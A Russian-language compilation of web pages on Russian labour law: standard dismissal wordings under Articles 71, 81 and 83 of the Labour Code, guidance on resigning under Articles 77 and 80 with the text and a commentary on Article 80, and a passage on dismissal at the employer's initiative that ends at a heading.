Трудовой договор расторгнут по инициативе работодателя в связи с неудовлетворительным результатом испытания, часть первая статьи 71 Трудового кодекса Российской Федерации

п. 1 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с ликвидацией организации, пункт 1 части первой статьи 81 Трудового кодекса Российской Федерации

Трудовой договор расторгнут по инициативе работодателя в связи с прекращением деятельности индивидуальным предпринимателем, пункт 1 части первой статьи 81 Трудового кодекса Российской Федерации

п. 2 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с сокращением численности работников организации, пункт 2 части первой статьи 81 Трудового кодекса Российской Федерации

п. 3 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с несоответствием работника занимаемой должности вследствие недостаточной квалификации, подтвержденной результатами аттестации, пункт 3 части первой статьи 81 Трудового кодекса Российской Федерации

Трудовой договор расторгнут по инициативе работодателя в связи с несоответствием работника выполняемой работе вследствие недостаточной квалификации, подтвержденной результатами аттестации, пункт 3 части первой статьи 81 Трудового кодекса Российской Федерации

п. 4 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи со сменой собственника имущества организации, пункт 4 части первой статьи 81 Трудового кодекса Российской Федерации

п. 5 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с неоднократным неисполнением работником без уважительных причин трудовых обязанностей, пункт 5 части первой статьи 81 Трудового кодекса Российской Федерации

подп. а п. 6 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с прогулом, подпункт «а» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации

подп. б п. 6 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с появлением работника на работе в состоянии алкогольного опьянения, подпункт «б» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации

подп. в п. 6 ст. 81

Трудовой договор расторгнут по инициативе работодателя ввиду разглашения государственной тайны, ставшей известной работнику в связи с исполнением трудовых обязанностей, подпункт «в» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации

Трудовой договор расторгнут по инициативе работодателя ввиду разглашения коммерческой тайны, ставшей известной работнику в связи с исполнением трудовых обязанностей, подпункт «в» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации

Трудовой договор расторгнут по инициативе работодателя ввиду разглашения служебной тайны, ставшей известной работнику в связи с исполнением трудовых обязанностей, подпункт «в» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации

подп. г п. 6 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с совершением по месту работы хищения чужого имущества, установленного вступившим в законную силу приговором суда, подпункт «г» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации

Трудовой договор расторгнут по инициативе работодателя в связи с совершением по месту работы повреждения чужого имущества, установленного вступившим в законную силу приговором суда, подпункт «г» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации

подп. д п. 6 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с нарушением работником требований по охране труда, повлекшим тяжкие последствия, подпункт «д» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации

Трудовой договор расторгнут по инициативе работодателя в связи с нарушением работником требований по охране труда, создавшим реальную угрозу наступления тяжких последствий, подпункт «д» пункта 6 части первой статьи 81 Трудового кодекса Российской Федерации

п. 7 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с совершением виновных действий работником, непосредственно обслуживающим денежные ценности, что дало основание для утраты доверия к нему со стороны работодателя, пункт 7 части первой статьи 81 Трудового кодекса Российской Федерации

п. 8 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с совершением работником, выполняющим воспитательные функции, аморального проступка, несовместимого с продолжением данной работы, пункт 8 части первой статьи 81 Трудового кодекса Российской Федерации

п. 9 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с принятием необоснованного решения, повлекшего за собой нарушение сохранности имущества организации, пункт 9 части первой статьи 81 Трудового кодекса Российской Федерации

п. 10 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с однократным грубым нарушением трудовых обязанностей, пункт 10 части первой статьи 81 Трудового кодекса Российской Федерации

п. 11 ст. 81

Трудовой договор расторгнут по инициативе работодателя в связи с представлением работником работодателю подложных документов при заключении трудового договора, пункт 11 части первой статьи 81 Трудового кодекса Российской Федерации

п. 1 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с призывом работника на военную службу, пункт 1 части первой статьи 83 Трудового кодекса Российской Федерации

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с направлением работника на альтернативную гражданскую службу, пункт 1 части первой статьи 83 Трудового кодекса Российской Федерации

п. 2 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с восстановлением на работе работника, ранее выполнявшего эту работу, по решению государственной инспекции труда, пункт 2 части первой статьи 83 Трудового кодекса Российской Федерации

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с восстановлением на работе работника, ранее выполнявшего эту работу, по решению суда, пункт 2 части первой статьи 83 Трудового кодекса Российской Федерации

п. 3 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с неизбранием на должность, пункт 3 части первой статьи 83 Трудового кодекса Российской Федерации

п. 4 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с осуждением работника к наказанию, исключающему продолжение прежней работы, в соответствии с приговором суда, вступившим в законную силу, пункт 4 части первой статьи 83 Трудового кодекса Российской Федерации

п. 5 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с признанием работника полностью неспособным к трудовой деятельности в соответствии с медицинским заключением, пункт 5 части первой статьи 83 Трудового кодекса Российской Федерации

п. 6 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи со смертью работника, пункт 6 части первой статьи 83 Трудового кодекса Российской Федерации

п. 8 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с дисквалификацией, исключающей возможность исполнения работником обязанностей по трудовому договору, пункт 8 части первой статьи 83 Трудового кодекса Российской Федерации

п. 9 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с лишением работника специального права на управление транспортным средством, что повлекло за собой невозможность исполнения работником обязанностей по трудовому договору, пункт 9 части первой статьи 83 Трудового кодекса Российской Федерации

п. 10 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с прекращением допуска к государственной тайне, пункт 10 части первой статьи 83 Трудового кодекса Российской Федерации

п. 11 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с отменой решения суда о восстановлении работника на работе, пункт 11 части первой статьи 83 Трудового кодекса Российской Федерации

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с признанием незаконным решения государственной инспекции труда о восстановлении работника на работе, пункт 11 части первой статьи 83 Трудового кодекса Российской Федерации

п. 12 ст. 83

Трудовой договор прекращен по обстоятельствам, не зависящим от воли сторон, в связи с приведением общего количества работников, являющихся иностранными гражданами, в соответствие с допустимой долей таких работников, установленной Постановлением Правительства Российской Федерации от 31.12.2008 г. № 1099, пункт 8 части первой статьи 83 Трудового кодекса Российской Федерации

www.klerk.ru

Увольнение по собственному желанию – статья 77 или 80 ТК РФ?

По данным статистики, уход по собственному желанию (статья 77 ТК РФ) — самый распространенный вид расторжения сотрудничества. Работники выбирают этот вариант из-за ненадобности писать действительную причину ухода из организации. А работодатели приветствуют: не нужно проводить сложную процедуру расторжения контракта, выплачивать дополнительные компенсации, искать веские основания для упразднения соглашения.

Порядок увольнения по собственному желанию (инструкция для работника)

Согласно ТК, для расторжения трудового договора по своей инициативе необходимо:

  • Написать заявление. Строгой формы нет, следуйте общим правилам. Образец можно попросить в кадровой службе.
  • Подать документ лично руководителю или через кадровиков. Можно отправить ценным письмом с описью по почте.
  • Отработать 2 недели. Без отработки можно уйти в случае:
    1. Обоюдного согласия сторон.
    2. Зачисления в ВУЗ на очное обучение.
    3. Выхода на пенсию.
    4. Переезда на новое место военной службы супруга.
  • Ознакомиться с приказом, получить на руки трудовую книжку и расчет.

Законодательство предусматривает возможность уйти в отпуск с последующим расторжением сотрудничества.

Увольнение работника по собственному желанию

При расторжении ТД работодатель проводит мероприятия:

  • Регистрация заявления. Принять документ у сотрудника, проверить правильность составления, завизировать его и определить срок отработки в 2 недели, если законом не предусмотрено другое.
  • Приказ об увольнении. После соблюдения формальностей, связанных с обязательной отработкой, кадровый служащий обязан сделать приказ (форма Т-8 или Т-8а). В день ухода сотрудника ознакамливают под роспись с документом, по его просьбе руководитель обязан выдать заверенную копию.
  • Справка о доходах за последние 2 года. Получают в бухгалтерии (в соответствии с нормами Приказа Минтруда № 182н). Если таковая не была выдана, работник имеет право запросить ее в любой момент. На оформление справки законом № 255-ФЗ от 29.12.2006 г. отводится 3 рабочих дня. Правила составления регламентируются письмами ФСС № 25-0314/12-7942 и № 15-02-01/12-5174л.
  • Справка об отчисления в ПФР. Согласно закону № 27-ФЗ от 01.04.1996 г., бухгалтерия обязана подготовить документ, содержащий информацию обо всех отчислениях и сведениях, предназначенных пенсионному фонду. В зависимости от места предъявления справку оформляют по форме СЗВ-М или РСВ-1 ПФР.
  • Фиксация данных в личной карточке работника (форма № Т-2). В графе «Основания прекращения ТД» пишут «Инициатива работника», в строчке «Дата» указывают последний день работы, вносят информацию о приказе. Данные визируются кадровиком и увольняющимся.
  • Записка-расчет. В день ухода составляется внутренний документ по форме № Т-61. На лицевой стороне указываются данные о сотруднике и прекращении ТД. На обратной стороне бухгалтерия делает расчет полагающихся сумм.
  • Расчет. Согласно ст. 84.1 и 140 ТК, в последний день работнику выплачивают зарплату за отработанное время, компенсацию за неиспользованный отпуск, премии и другие причитающиеся выплаты.
  • Фиксация увольнения в трудовой. Кадровик обязан заполнить книгу учета стажа в соответствии с требованиями части 5 ст. 84.1 ТК, заверить запись подписью специалиста отдела кадров, самого работника и скрепить мокрой печатью. Затем книжку отдают владельцу под расписку.

В ходе увольнения сотрудник может запросить в письменном виде и другую документацию, например, копию приказа о зачислении в штат, справку НДФЛ-2 и прочее. Работодатель обязан выдать требуемые дубликаты, оформленные должным образом.

Сроки подачи заявления

Процедура увольнения по желанию работника (статья 77 ТК РФ) предписывает подавать заявление за 2 недели до ухода. Если расчет происходит в период испытательного срока, бумагу направляют за 3 дня до даты прекращения сотрудничества. А вот руководители организаций обязаны уведомлять вышестоящее руководство и отдел кадров не менее, чем за месяц до расторжения ТД.

Работодатель не вправе увеличивать сроки отработки, но есть случаи, когда их можно сократить:

  • работник идет в отпуск, после чего сразу увольняется. Заявление подается в последний фактически отработанный день, и все кадровые документы оформляются той же датой;
  • по взаимному соглашению сторон;
  • найден сотрудник на должность увольняющегося;
  • совершены нарушения дисциплины, норм ТК или локальных актов.

Часть 4 ст. 80 Трудового кодекса предусматривает возможность забрать заявление на увольнение в период осуществления отработки.

На какую статью ТК ссылаться при оформлении — 77 или 80

Представители Роструда дали исчерпывающий ответ:

  • п. 15 «Правил ведения и хранения трудовых книжек» гласит: «при прекращении действия ТД по инициативе работника указывается ст. 77 с соответствующим пунктом».
  • Инструкция, которой руководствуются при заполнении трудовых также предписывает ссылку на статью 77 с указанием пункта.

Исходя из норм закона, правильная запись должна выглядеть: «Уволена по собственному желанию, пункт 3 часть 1 статьи 77 ТК РФ», также можно дополнить причиной расчета — в связи с переездом, учебой. Указание статьи 80 делает сведения о прекращении ТД недействительными.

Запись об увольнении в трудовую

Заполнение книги учета стажа работника должно осуществляться строго в соответствии с требованиями ТК (ч.5 статьи 84.1) и «Инструкции по заполнению трудовой» и отображать:

  1. порядковый номер записи;
  2. дату увольнения;
  3. причину ухода с обязательным указанием статьи ТК;
  4. информацию о документе, прекращающем действие ТД с указанием наименования, даты оформления и внутреннего номера.

Согласно общим правилам ведения кадровой документации, запись производится шариковой ручкой синего, красного или сиреневого цвета. Текст пишут разборчиво и без сокращений. При получении трудовой на руки внимательно изучите отметку об увольнении, если обнаружены неточности — требуйте у кадровиков внести исправления.

Какие могут возникнуть сложности

Несмотря на то что прекращение деятельности в организации по собственному желанию — простая процедура с точки зрения закона, практика показывает, что часто возникают трудности. Давайте рассмотрим наиболее частые и найдем способ решения:

  • Работодатель отказывается принять заявление. Отправьте документ по почте с описью и уведомлением.
  • Работник подал заявление и не вышел на отработку. Это считается прогулом и карается увольнением по статье.
  • Руководитель заставляет сотрудника уволиться по своему желанию. Обратитесь в суд, это нарушение норм ст. 391, 394 и 395 ТК.
  • Увольнение оформлено датой ранее установленного срока. Оспорьте действие в судебных органах.

Многие не отстаивают свои права в суде, боясь больших издержек. По статье 393 ТК, все расходы по ведению дела оплачивает работодатель, если суд признает действия руководителя незаконными. Работника восстановят в должности и выплатят компенсацию.

С отзывом заявления тоже есть нюансы. Работодатель вправе отказать в отзыве, если на должность увольняющего уже найден сотрудник, который переводится на работу из другого учреждения.

Если вы оформляете отпуск, а потом планируете уволиться, помните, что отозвать заявление об уходе можно только до начала отпуска (ст. 127 ТК).

Заключение

Конституция гарантирует право на труд, а Трудовой кодекс закрепляет право работника уволиться по собственному желанию без объяснения причин. Для прекращения трудовой деятельности достаточно правильно составить заявление и соблюсти формальности, предусмотренные законодательством.

Для работодателя такая форма расторжения ТД не обременительна: не нужно собирать доказательства несоответствия работника или составлять внутреннюю документацию о прогулах или дисциплинарных нарушениях, применяя специальную процедуру увольнения.

ktovdele.ru

Статья 80. Расторжение трудового договора по инициативе работника (по собственному желанию) — с изменениями, проверено 03.12.2019 — Трудовой кодекс — Кодексы Российской Федерации

Статья 80. Расторжение трудового договора по инициативе работника (по собственному желанию)

Работник имеет право расторгнуть трудовой договор, предупредив об этом работодателя в письменной форме не позднее чем за две недели, если иной срок не установлен настоящим Кодексом или иным федеральным законом. Течение указанного срока начинается на следующий день после получения работодателем заявления работника об увольнении.

По соглашению между работником и работодателем трудовой договор может быть расторгнут и до истечения срока предупреждения об увольнении.

В случаях, когда заявление работника об увольнении по его инициативе (по собственному желанию) обусловлено невозможностью продолжения им работы (зачисление в образовательную организацию, выход на пенсию и другие случаи), а также в случаях установленного нарушения работодателем трудового законодательства и иных нормативных правовых актов, содержащих нормы трудового права, локальных нормативных актов, условий коллективного договора, соглашения или трудового договора работодатель обязан расторгнуть трудовой договор в срок, указанный в заявлении работника.

До истечения срока предупреждения об увольнении работник имеет право в любое время отозвать свое заявление. Увольнение в этом случае не производится, если на его место не приглашен в письменной форме другой работник, которому в соответствии с настоящим Кодексом и иными федеральными законами не может быть отказано в заключении трудового договора.

По истечении срока предупреждения об увольнении работник имеет право прекратить работу. В последний день работы работодатель обязан выдать работнику трудовую книжку, другие документы, связанные с работой, по письменному заявлению работника и произвести с ним окончательный расчёт.

Если по истечении срока предупреждения об увольнении трудовой договор не был расторгнут и работник не настаивает на увольнении, то действие трудового договора продолжается.

dogovor-urist.ru

последние изменения и поправки, судебная практика

СТ 80 ТК РФ.

Работник имеет право расторгнуть трудовой договор, предупредив об этом работодателя в письменной форме не позднее чем за две недели, если иной срок не установлен настоящим Кодексом или иным федеральным законом. Течение указанного срока начинается на следующий день после получения работодателем заявления работника об увольнении.

По соглашению между работником и работодателем трудовой договор может быть расторгнут и до истечения срока предупреждения об увольнении.

В случаях, когда заявление работника об увольнении по его инициативе (по собственному желанию) обусловлено невозможностью продолжения им работы (зачисление в образовательную организацию, выход на пенсию и другие случаи), а также в случаях установленного нарушения работодателем трудового законодательства и иных нормативных правовых актов, содержащих нормы трудового права, локальных нормативных актов, условий коллективного договора, соглашения или трудового договора работодатель обязан расторгнуть трудовой договор в срок, указанный в заявлении работника.

До истечения срока предупреждения об увольнении работник имеет право в любое время отозвать свое заявление. Увольнение в этом случае не производится, если на его место не приглашен в письменной форме другой работник, которому в соответствии с настоящим Кодексом и иными федеральными законами не может быть отказано в заключении трудового договора.

Бесплатная юридическая консультация по телефонам:

По истечении срока предупреждения об увольнении работник имеет право прекратить работу. В последний день работы работодатель обязан выдать работнику трудовую книжку, другие документы, связанные с работой, по письменному заявлению работника и произвести с ним окончательный расчет.

Если по истечении срока предупреждения об увольнении трудовой договор не был расторгнут и работник не настаивает на увольнении, то действие трудового договора продолжается.

Комментарий к Ст. 80 Трудового кодекса РФ

1. Комментируемая статья 80 ТК регламентирует порядок прекращения по инициативе работника как срочного трудового договора до истечения срока его действия, так и договора, заключенного на неопределенный срок.

2. Волеизъявление работника о прекращении трудового договора должно быть выражено в письменной форме. Все иные формы такого волеизъявления не имеют правового значения. Соответствующая инициатива работника обычно выражается в форме заявления.

На практике нередки случаи, когда работодатель задерживает производство расчета с работником и выдачу ему трудовой книжки, мотивируя это тем, что работник не заполнил так называемый обходной листок, не сдал принятые им материальные ценности и т.п. Такого рода практика не предусматривается законодательством о труде, а потому является незаконной. Более того, по истечении срока предупреждения об увольнении работник вправе прекратить работу, а работодатель обязан выдать ему в день увольнения (последний день работы) трудовую книжку и по письменному заявлению работника копии документов, связанных с работой, а также произвести выплату всех сумм, причитающихся ему от работодателя (см. ст. ст. 62, 140 ТК РФ и комментарий к ним).

3. Прекращение трудового договора по инициативе работника возможно в любое время и без указания причин, послуживших основанием для увольнения. Вместе с тем, если работник считает, что причина, обусловившая его намерение прекратить трудовой договор, является существенной, он может указать ее в своем заявлении об увольнении. Соответственно, эта причина указывается в приказе о прекращении трудового договора, на основании которого делается запись в трудовой книжке работника.

4. Верховный Суд РФ обращает внимание судов на необходимость исходить из того, что расторжение трудового договора по инициативе работника допустимо в случае, когда подача заявления об увольнении являлась добровольным его волеизъявлением. Если истец утверждает, что работодатель вынудил его подать заявление об увольнении по собственному желанию, то это обстоятельство подлежит проверке и обязанность доказать его возлагается на работника (подп. «а» п. 22 Постановления Пленума ВС РФ от 17 марта 2004 г. N 2 «О применении судами Российской Федерации Трудового кодекса Российской Федерации»). Однако не может рассматриваться как принуждение работника к увольнению по собственному желанию угроза работодателя расторгнуть с ним договор по своей инициативе при условии, если у работодателя имелись для этого основания, предусмотренные законом (см. ст. 81 ТК РФ и комментарий к ней).

5. Если до истечения срока предупреждения о прекращении трудового договора работник отказался от увольнения по собственному желанию, он считается не подававшим заявления и не может быть уволен по рассматриваемому основанию. Исключение составляет случай, когда на место увольняющегося работника приглашен в письменной форме другой работник, которому в силу закона не может быть отказано в заключении трудового договора. Формулировка комментируемой статьи 80 ТК РФ вполне однозначна: имеются в виду лишь те случаи, когда на место увольняющегося по собственному желанию работника приглашен, причем в письменной форме, другой работник, т.е. лицо, занятое у другого работодателя, увольняемое в порядке перевода к данному работодателю (см. ст. 72, п. 5 ст. 77 ТК РФ и комментарий к ним). Соответственно, все другие установленные законом гарантии заключения трудового договора (см. ст. 64 ТК РФ и комментарий к ней) на ситуацию, предусмотренную комментируемой статьей, не распространяются. Например, не может быть отказано в аннулировании заявления об увольнении по собственному желанию работнику на том основании, что его должность предполагается заместить женщиной, находящейся в состоянии беременности, которой обещана данная работа.

При предоставлении отпуска с последующим увольнением в случае расторжения трудового договора по инициативе работника этот работник имеет право отозвать свое заявление об увольнении до дня начала отпуска, если на его место не приглашен в порядке перевода другой работник (см. ст. 127 ТК РФ и комментарий к ней). В случае, если в период нахождения в отпуске наступила временная нетрудоспособность работника, а также при наличии других уважительных причин отпуск подлежит продлению на соответствующее число дней (см. ст. 124 ТК РФ и комментарий к ней), при этом днем увольнения считается последний день отпуска. Вместе с тем, если работник настаивает на прекращении трудового договора с первоначально определенной даты, его требование подлежит удовлетворению.

Поскольку закон предусматривает обязательную письменную форму подачи заявления об увольнении по собственному желанию, следует предположить, что в такой же форме должно быть выражено волеизъявление работника об аннулировании этого заявления.

6. Если по истечении срока предупреждения об увольнении трудовой договор не был расторгнут и работник не настаивает на увольнении, то действие договора продолжается. Таким образом, факт истечения срока отработки работником исключает возможность для работодателя расторгнуть трудовой договор по рассматриваемому основанию, если «работник не настаивает на увольнении». Последняя формулировка широка и неопределенна. Следует предположить, что под нее подпадает случай, когда по истечении срока предупреждения об увольнении работник вышел на работу и был к ней допущен (т.е. продолжил выполнение обязанностей по трудовому договору). В то же время ч. 6 комментируемой статьи должна действовать и тогда, когда работник изъявил желание продолжить работу и не был к ней допущен, однако работодатель задержал выдачу трудовой книжки, иных требуемых работником документов, связанных с работой, а также производство расчета с ним.

Формы, в которых работник может «настаивать на увольнении», законом не определены. Наиболее очевидной является прекращение работы по истечении срока предупреждения об увольнении; однако не исключается волеизъявление работника в других формах при продолжении работы. В последнем случае увольнение должно быть осуществлено в иные согласованные сторонами сроки.

Следует иметь в виду, что рассматриваемое требование работника имеет правовое значение лишь на момент истечения срока отработки. Если трудовой договор не был расторгнут по истечении срока отработки, работник продолжил работу, а впоследствии потребовал прекращения с ним трудового договора со ссылкой на ч. 6 комментируемой статьи 80 Трудового кодекса РФ, такое требование не может быть признано правомерным: трудовой договор должен быть прекращен по правилам, установленным комментируемой статьей, в том числе с отработкой установленного срока предупреждения об увольнении.

7. Срок предупреждения работником работодателя о предстоящем увольнении определяется законодательством о труде. В соответствии с комментируемой статьей работник, расторгая трудовой договор, обязан предупредить об этом работодателя в письменной форме не позднее чем за две недели. Следовательно, предупреждение об увольнении по собственному желанию может быть сделано и ранее, чем за две недели.

Временный или сезонный работник должен предупредить об этом работодателя за три дня (см. ст. ст. 292, 296 ТК РФ и комментарий к ним). Такой же срок предусмотрен и при увольнении работника по собственному желанию в период прохождения испытания (см. ст. 71 ТК РФ и комментарий к ней). Руководитель организации имеет право досрочно расторгнуть трудовой договор, предупредив об этом работодателя (собственника) имущества организации не позднее чем за один месяц (см. ст. 280 ТК РФ и комментарий к ней). Истечение срока начинается на следующий день после календарной даты, которой определена подача заявления (см. ст. 14 ТК РФ и комментарий к ней).

Отсутствие работника на работе по уважительным причинам (например, в связи с наступившей временной нетрудоспособностью) не является основанием для продления срока отработки при увольнении по собственному желанию. Вместе с тем отказ работника от увольнения может быть заявлен работником и в период его отсутствия на работе по указанным причинам.

По общему правилу сокращение срока отработки в одностороннем порядке не допускается. Так, если работник оставил работу, не отработав установленный законом срок, то этот факт расценивается как прогул, дающий основание уволить работника по инициативе работодателя (подп. «а» п. 6 ст. 81 ТК РФ). В то же время судебная практика исходит из того, что произвольное, без согласования с работником, сокращение работодателем срока отработки либо увольнение без отработки дает работнику основание требовать восстановления на работе с оплатой времени вынужденного прогула.

Из данного правила предусмотрено одно исключение, когда сокращение срока обусловлено уважительными причинами, перечень которых приведен в ч. 3 комментируемой статьи 80 ТК РФ. В числе таких случаев можно указать поступление работника на военную службу по контракту (см. ст. 83 ТК РФ и комментарий к ней).

Факт нарушения работодателем законов и иных нормативных правовых актов, содержащих нормы трудового права, условий коллективного договора, соглашения или трудового договора, как обстоятельство, обязывающее работодателя расторгнуть трудовой договор в срок, указанный в заявлении работника, может быть установлен, в частности, органами, осуществляющими государственный надзор и контроль за соблюдением трудового законодательства, профессиональными союзами, КТС, судом (подп. «б» п. 22 Постановления Пленума ВС РФ от 17 марта 2004 г. N 2). В этих случаях работодатель обязан расторгнуть трудовой договор в срок, о котором просит работник.

Во всех остальных случаях относительно прекращения трудового договора по инициативе работника без отработки установленного законом срока либо с сокращением этого срока должно быть достигнуто согласие сторон (подп. «б» п. 22 Постановления Пленума ВС РФ от 17 марта 2004 г. N 2). Оно может быть выражено в форме письменного заявления работника об увольнении по собственному желанию с указанием в нем условия об увольнении без отработки или с сокращенным сроком отработки либо соответствующего приказа работодателя, содержащего подпись увольняющегося работника. Поскольку ТК РФ не предусматривает форму соглашения работника и работодателя относительно срока отработки при увольнении по собственному желанию, такое соглашение может быть достигнуто и в устной форме. Однако следует учитывать сложность доказывания наличия указанного соглашения.

8. По общему правилу при наличии другого основания для прекращения трудового договора (например, смена собственника организации (см. ст. 75 ТК РФ и комментарий к ней), переход на работу к другому работодателю или на выборную должность (см. ст. 77 ТК РФ и комментарий к ней), отказ работника от продолжения работы в связи с изменением существенных условий трудового договора (см. ст. 74 ТК РФ и комментарий к ней), отказ от перевода на другую работу в соответствии с медицинским заключением, отказ от перевода в связи с перемещением работодателя в другую местность (см. ст. 72.1 ТК РФ и комментарий к ней)) приоритет должен отдаваться выраженному работником волеизъявлению об увольнении по собственному желанию.

Подача работником письменного заявления об увольнении по собственному желанию не может считаться обстоятельством, исключающим возможность прекращения трудового договора с ним по инициативе работодателя — при наличии к тому установленных законом оснований.

9. Об особенностях прекращения трудового договора со спортсменом по инициативе последнего см. ст. 348.12 ТК РФ и комментарий к ней.

www.trudkod.ru

Увольнение работника по инициативе работодателя по ТК РФ в 2019 году


Право на расторжение трудового договора имеется как у работника, так и у руководства компании. Однако если для первого при инициировании подобной процедуры практически не существует ограничений, и уйти он может практически в любое время, для работодателя увольнение сотрудников связано с определенными сложностями. Дело в том, что рассчитать служащего он может только при наличии одного из оснований, обозначенных в 81 статье ТК РФ.

По какой статье увольняют по инициативе работодателя?

В отличие от наемного служащего, который, в соответствии с текстом 80 статьи ТК РФ, может потребовать расторжения соглашения о трудовой деятельности в любой момент и, отработав положенные две недели, получить расчет, руководство организации при увольнении сотрудника обязано обозначить конкретную причину. Основания для разрыва трудового контракта, инициированного работодателем, перечислены в 81 статье ТК РФ. Законодательно закреплены основания не случайно.

В тандеме «работник-работодатель» первый априори считается более уязвимой стороной. Поэтому отражение в Трудовом кодексе основных причин увольнения является универсальной защиты интересов наемных служащих.

Причины увольнения

Содержащиеся в 81 статье ТК РФ поводы, приводящие к увольнению работника, в обязательном порядке должны быть подтверждены задокументированными фактами. Чтобы понять суть каждого основания, следует рассмотреть их в отдельности.

Ликвидация организации

Порядок закрытия организации определен в 61-63 статьях ГК РФ. Основания для ликвидации фирмы обозначены в 61 статье ГК РФ. В их качестве выступает:

  • Судебное решение;
  • Решение, принятое учредителями предприятия.

При закрытии фирмы все трудящиеся теряют рабочие места. Однако в данном случае у служащих имеются определенные гарантии, так как закон указывает, что первыми получить расчет с компенсацией отработанных дней должны именно увольняемые сотрудники.

Сокращение

По инициативе работодателя список мест на предприятии может сокращаться. Занимающие должности сотрудники подлежат расчету. При этом увольнение производится по определенной градации: в первую очередь с рабочего места снимаются обладающие наименьшей квалификацией и производительностью служащие среди занимающих определенную должность, например, менеджеров. Но если работники по данным критериям равны, то 179 статья ТК РФ устанавливает преимущественное право на сохранение места для следующих категорий:

  • Имеющих более двух иждивенцев лиц;
  • Кормильцев – единственных, получающих доход в семье;
  • Сотрудников, получивших увечье в ходе трудовой деятельности в данной компании;
  • Инвалидов боевых действий и ВОВ;
  • Работников, находящихся на повышении квалификации, проводимом по инициативе работодателя.

Несоответствие сотрудника должности

Если сотрудник не имеет навыков, необходимых для работы на предоставленном месте, он также может попасть под увольнение. Однако прежде чем подписывать приказ, в соответствии с которым будет рассчитан служащий, работодатель должен созвать комиссию для проведения аттестации, призванной подтвердить некомпетентность работника.

Проверка обычно проводится раз в год, однако, при обнаружении недостаточности знаний или появления брака в работе, она может инициироваться досрочно.

Грубое нарушение трудовых обязанностей

В категорию грубых нарушений согласно 81 статье ТК РФ попадают:

  • Несохранение тайны, охраняемой законом;
  • Прогул;
  • Прямое нарушение установленных правил охраны труда;
  • Появление на рабочем месте в состоянии опьянения алкогольными или наркотическими веществами;
  • Нанесение вреда не принадлежащему сотруднику имуществу учреждения, его присвоение, растрата.

При фиксации подобных нарушений закон позволяет работодателю немедленно произвести расчет сотрудника.

Неисполнение обязанностей

Если служащий замечен в многократном неисполнении возложенных на него 21 статьей ТК РФ, трудовым договором и локальными актами фирмы обязанностей, ему также могут отказать в месте. При этом увольнение производится лишь при повторном совершении нарушения работником, имеющим непогашенное дисциплинарное взыскание.

Иные причины

Помимо вышеперечисленных причин, работодатель может произвести увольнение по следующим основаниям:

  • Смена собственника имущества организации;
  • Виновные действия сотрудника, занимающегося обслуживанием ценных вещей или денежного оборота, ведущие к утрате доверия;
  • Аморальное поведение;
  • Предоставление ложных сведений и документов;
  • Необоснованное решение руководителя, или иного должностного лица, вследствие которого был нанесен ущерб имущественным ценностям фирмы или ее филиала;

Некоторые иные причины, позволяющие уволить сотрудника, отражены и в иных положениях трудового законодательства. Дополнительный перечень устанавливают статьи 71, 278, 312.5, 336 ТК РФ.

Также иные действия, приводящие к увольнению, могут быть обозначены непосредственно в трудовом договоре.

Порядок увольнения сотрудника по инициативе работодателя

Чтобы процедура расчета сотрудника считалась обоснованной, работодатель должен соблюсти требования закона и последовательно выполнить все этапы увольнения.

Подготовка необходимых документов

Увольнение обязательно должно быть подтверждено соответствующим документом. В зависимости от увольнения работника с должности, могут быть использованы следующие бумаги:

Причина увольнения

Оформляемый документ

Закрытие предприятия

Решение судебного органа или совета учредителей

Несоответствие должности

Протокол, отражающий принятое аттестационной комиссией решение

Сокращение штата

Приказ руководителя

Невыполнение должностных обязанностей

Приказ о дисциплинарном взыскании, либо Представление, написанное непосредственным директором предприятия

Смена владельца фирмы

Свидетельство, подтверждающее внесение изменений в регистрационные бумаги организации

Нахождение на рабочем месте в состоянии опьянения

Протокол освидетельствования и акт о совершении нарушения

Прогул

Акт об отсутствии

Разглашение тайны

Протокол служебного расследования

Утрата доверия

Судебное решение

Нанесение ущерба имуществу фирмы, либо его растрата

Акт проверки, составленный налоговой службой

Аморальное поведение, хищение имущества

Акт о совершении деяния, повлекшего наступление административной ответственности

Издание приказа

На основании документа, объясняющего, из-за чего увольняется работник, издается приказ о расчете сотрудника. Бумага составляется в соответствии с обязательной формой, принятой Правительством РФ — №Т-8. Если речь идет о расчете нескольких работников, используется приказ, оформленный по шаблону №Т-8(а). В документ  вносится:

  • ФИО руководителя;
  • Реквизиты предприятия;
  • Сведения о работнике;
  • Причина расчета;
  • Дата составления.

Заверяется приказ подписью непосредственного директора организации, либо его доверенного лица.

Регистрация приказа

